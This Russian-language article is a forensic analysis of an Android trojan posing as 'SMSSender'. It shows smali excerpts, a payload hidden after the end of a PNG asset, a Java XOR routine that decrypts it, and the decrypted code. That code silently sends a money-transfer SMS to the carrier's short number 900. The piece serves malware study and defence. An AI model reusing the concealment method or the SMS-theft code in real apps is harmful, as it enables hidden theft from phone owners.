Содержание статьи
С каждым днем смартфон аккумулирует в себе все больше информации — простой, критичной, интимной... Он управляет делами, деньгами и даже автомобилями. Вполне логично, что вирмейкеры все сильнее стремятся наложить лапу на это изобилие. Производители антивирусов не всегда успевают за их полетом мысли, и тогда в дело вступаем мы, хакеры. Ведь боролись же наши инженеры с вирусами, когда Aidstest еще и в проекте не было? 🙂
Способы сокрытия
Специалисты выделяют три наиболее распространенных способа противодействия криминалистическому исследованию приложений в ОС Android: обфускация, шифрование символьных строк и проверка окружения. Обфускация — это приведение исполняемого кода программы к виду, сохраняющему его функциональность, но затрудняющему анализ. Часть вредоносного кода может находиться в мультимедийных и графических файлах различных форматов, например MP3, PNG, GIF, AVI. Такой метод сокрытия кода называется компьютерной стеганографией.
Постановка задачи: куда-то уходят деньги
Требовалось установить, куда уходят деньги с мобильного счета жертвы. По результатам анализа приложений, имеющихся на смартфоне, подозрительным мне показалось нестандартное, но стремящееся обладать легитимным названием приложение SMSSender. Первым шагом стала декомпиляция приложения (про декомпиляцию мы писали в предыдущей статье), которая позволила получить необходимый для исследования код.
Дальше изучать файл (а именно определять содержащиеся в нем данные или команды) будем при помощи Android Studio — интегрированной среды разработки для работы с платформой Android. Начнем с файла AndroidManifest.xml
, который содержит запросы для получения различных функций и прав на мобильном устройстве. В исследуемом файле имеется запрос SMS_SEND, который позволит приложению отправлять СМС.
Откроем метод onCreate класса Activation. Метод содержит следующий код:
new-instance v0, Lcl/catsboat/c;
invoke-direct {v0, p0}, Lcl/catsboat/c;-><init>(Lcl/catsboat/Main;)V
invoke-virtual {v0}, Lcl/catsboat/c;->
Анализ кода показывает, что после запуска приложения дополнительно открывается еще одно активное окно, которое не отображается на экране мобильного устройства.
Рассматривая класс cl/catsboat/c
, нужно обратить внимание на строку со следующим кодом:
invoke-direct {v1, v2, v3}, Lcl/catsboat/a;-><init>(Landroid/content/Context;Landroid/os/Handler;)V
В этой строке есть обращение к классу a.smali
. Конструкция класса содержит следующий код:
const-string v1, "image.png"
invoke-virtual {v0, v1}, Landroid/content/res/AssetManager;->open(Ljava/lang/String;)Ljava/io/InputStream;
move-result-object v0
const-wide/16 v2, 0x3486
invoke-virtual {v0, v2, v3}, Ljava/io/InputStream;->skip(J)J
new-instance v1, Ljava/io/DataInputStream;
invoke-direct {v1, v0}, Ljava/io/DataInputStream;-><init>(Ljava/io/InputStream;)V
Этот блок кода создает объект, представляющий собой поток байтов для чтения из image.png, находящегося в папке Assets приложения SMSSender, далее пропускает первые 13 446 байт и создает на основе него поток для чтения Java-данных. Логично предположить, что в файле image.png имеется зашифрованный код, к которому обращается приложение после запуска.
Обратимся к классу cl/catsboat/a.smali
. Его конструкция содержит следующий код:
sput-object v0, Lcl/catsboat/a;->a:[B // Задается ключ для расшифровки байт-кода
return-void
:array_0
.array-data 1
0xat // Байт в шестнадцатеричной системе
0x2t // Байт в шестнадцатеричной системе
0x4t // Байт в шестнадцатеричной системе
0x5t // Байт в шестнадцатеричной системе
0x6t // Байт в шестнадцатеричной системе
0x7t // Байт в шестнадцатеричной системе
0x8t // Байт в шестнадцатеричной системе
0x5ct // Байт в шестнадцатеричной системе
0x2dt // Байт в шестнадцатеричной системе
0x18t // Байт в шестнадцатеричной системе
0x38t // Байт в шестнадцатеричной системе
0x4et // Байт в шестнадцатеричной системе
.end array-data
.end method
Итоговый ключ в шестнадцатеричной системе — {10,2,4,5,6,7,8,92,45,24,56,78}
.
Для получения зашифрованного кода в файле image.png необходимо с помощью шестнадцатеричного редактора WinHex и Java-приложения выполнить следующие действия.
- Открываем в редакторе изображение image.png, которое находится в каталоге \SMSSender\assets. Так как графическое изображение image имеет формат PNG, то его байт-код всегда заканчивается как 44 4Е 44 АЕ 42 60 82 (
IEND®B
). Переход к байт-коду покажет окончание файла, однако в исследуемом графическом изображении image после него идет дополнительный код, показанный на рис. 1. - Копируем блок кода в отдельный файл, называем его night и сохраняем (рис. 2).
- Для расшифровки байт-кода используем приведенный ниже код, который читает первые 317 байт, по одному байту из файла
night
. Каждый из байтов XOR’им поочередно с байтом из буфера key и сохраняем их в буфер buf.Буфер buf выводим в системный поток:
import java.io.*; public class test { public static void main(String[] args) { byte [] key = {10,2,4,5,6,7,8,92,45,24,56,78}; // Используем key из класса cl/catsboat/a.smali int kPos = 0; char[] buf = new char[317]; // Читаем первые 317 байт try { InputStream is = new FileInputStream(new File("c:\\night")); for(int i = 0;i<buf.length;i++) { if(is.available() == 0) break; buf[i] = (char)(is.read() ^ key[kPos]); kPos = (kPos == key.length - 1) ? 0 : (kPos + 1); } System.out.println(buf); } catch(Exception ex){} } }
- Создаем файл
test
с данным кодом в каталоге*\Java\jdk1.7.0_79\bin
с расширением java. Далее открываем командную строку и переходим в каталог bin с помощью командыcd. *\Java\jdk1.7.0_79\bin
. С использованием командной строки выполняем следующую команду:javac test.java
, после этого в каталоге bin создается файлtest.class
. Для расшифровки байт-кода, находящегося в файлеnight
, выполняем командуjava -classpath . test
.В консоли появится расшифрованный код:
import android.content.Context; // Содержит классы для получения доступа и публикации данных на устройстве http://developer.android.com/reference/android/content/Context.html import android.telephony.SmsManager; // Управляет СМС-операциями, такими как отправка данных, текста и PDU-сообщений http://developer.android.com/reference/android/telephony/SmsManager.html import android.widget.Toast; // Управляет центром уведомления новых событий и подобным http://developer.android.com/reference/android/widget/Toast.html SmsManager m = SmsManager.getDefault(); m.sendTextMessage("900", " null", "перевод 961ххххххх 1000", null, null); // (String destinationAddress, String scAddress, String text, PendingIntent sentIntent, PendingIntent deliveryIntent) r = new Runnable() { run() { Toast.makeText(ctx, "??Hasta la vista!",Toast.LENGTH_LONG).show(); } }; // Показ информации после отправки сообщения http://startandroid.ru/ru/uroki/vse-uroki-spiskom/147-urok-84-handler-obrabotka-runnable.html h.post(r);
Итоги нашего расследования
По результатам анализа кода было установлено, что приложение отправляет СМС на номер 900 с текстом «перевод 961ххххххх 1000», где 961ххххххх — номер абонента, на который пересылаются денежные средства, а 1000 — их сумма. Данный метод может быть использован злоумышленником для хищения денежных средств с мобильных устройств и банковских карт. В связи с этим стоит отметить, что необходимо исследовать все вложения, являющиеся продолжением основного кода приложения.
Комментарий от специалиста
Александр Свириденко, программист-исследователь компании «Доктор Веб», разработчик Dr.Web Security Space для Android
Автор рассмотрел способ защиты угроз от исследований, который стал очень распространен в последнее время. Сейчас так делают все кому не лень, и аналитики находят подобные трояны пачками. Появились даже коммерческие программы, которые позволяют паковать так код, они продаются среди троянописателей. Это усложняет не только исследование вредоносного кода, но и детект подобных троянов традиционными способами. К счастью, сегодня существуют технологии, которые позволяют определять такие вредоносные программы автоматически, даже если они только вышли и еще не успели попасть к вирусным аналитикам. Но, судя по тому, как часто малварь пролезает на Google Play, технологии эти есть не у всех.
Вообще, бытует мнение, что Google фильтрует приложения только по их поведению на эмуляторах в момент теста. Ничего не произошло? Отлично, можно раздавать его людям. А то, что через месяц приложение просыпается и начинает вредить, уже никого не волнует.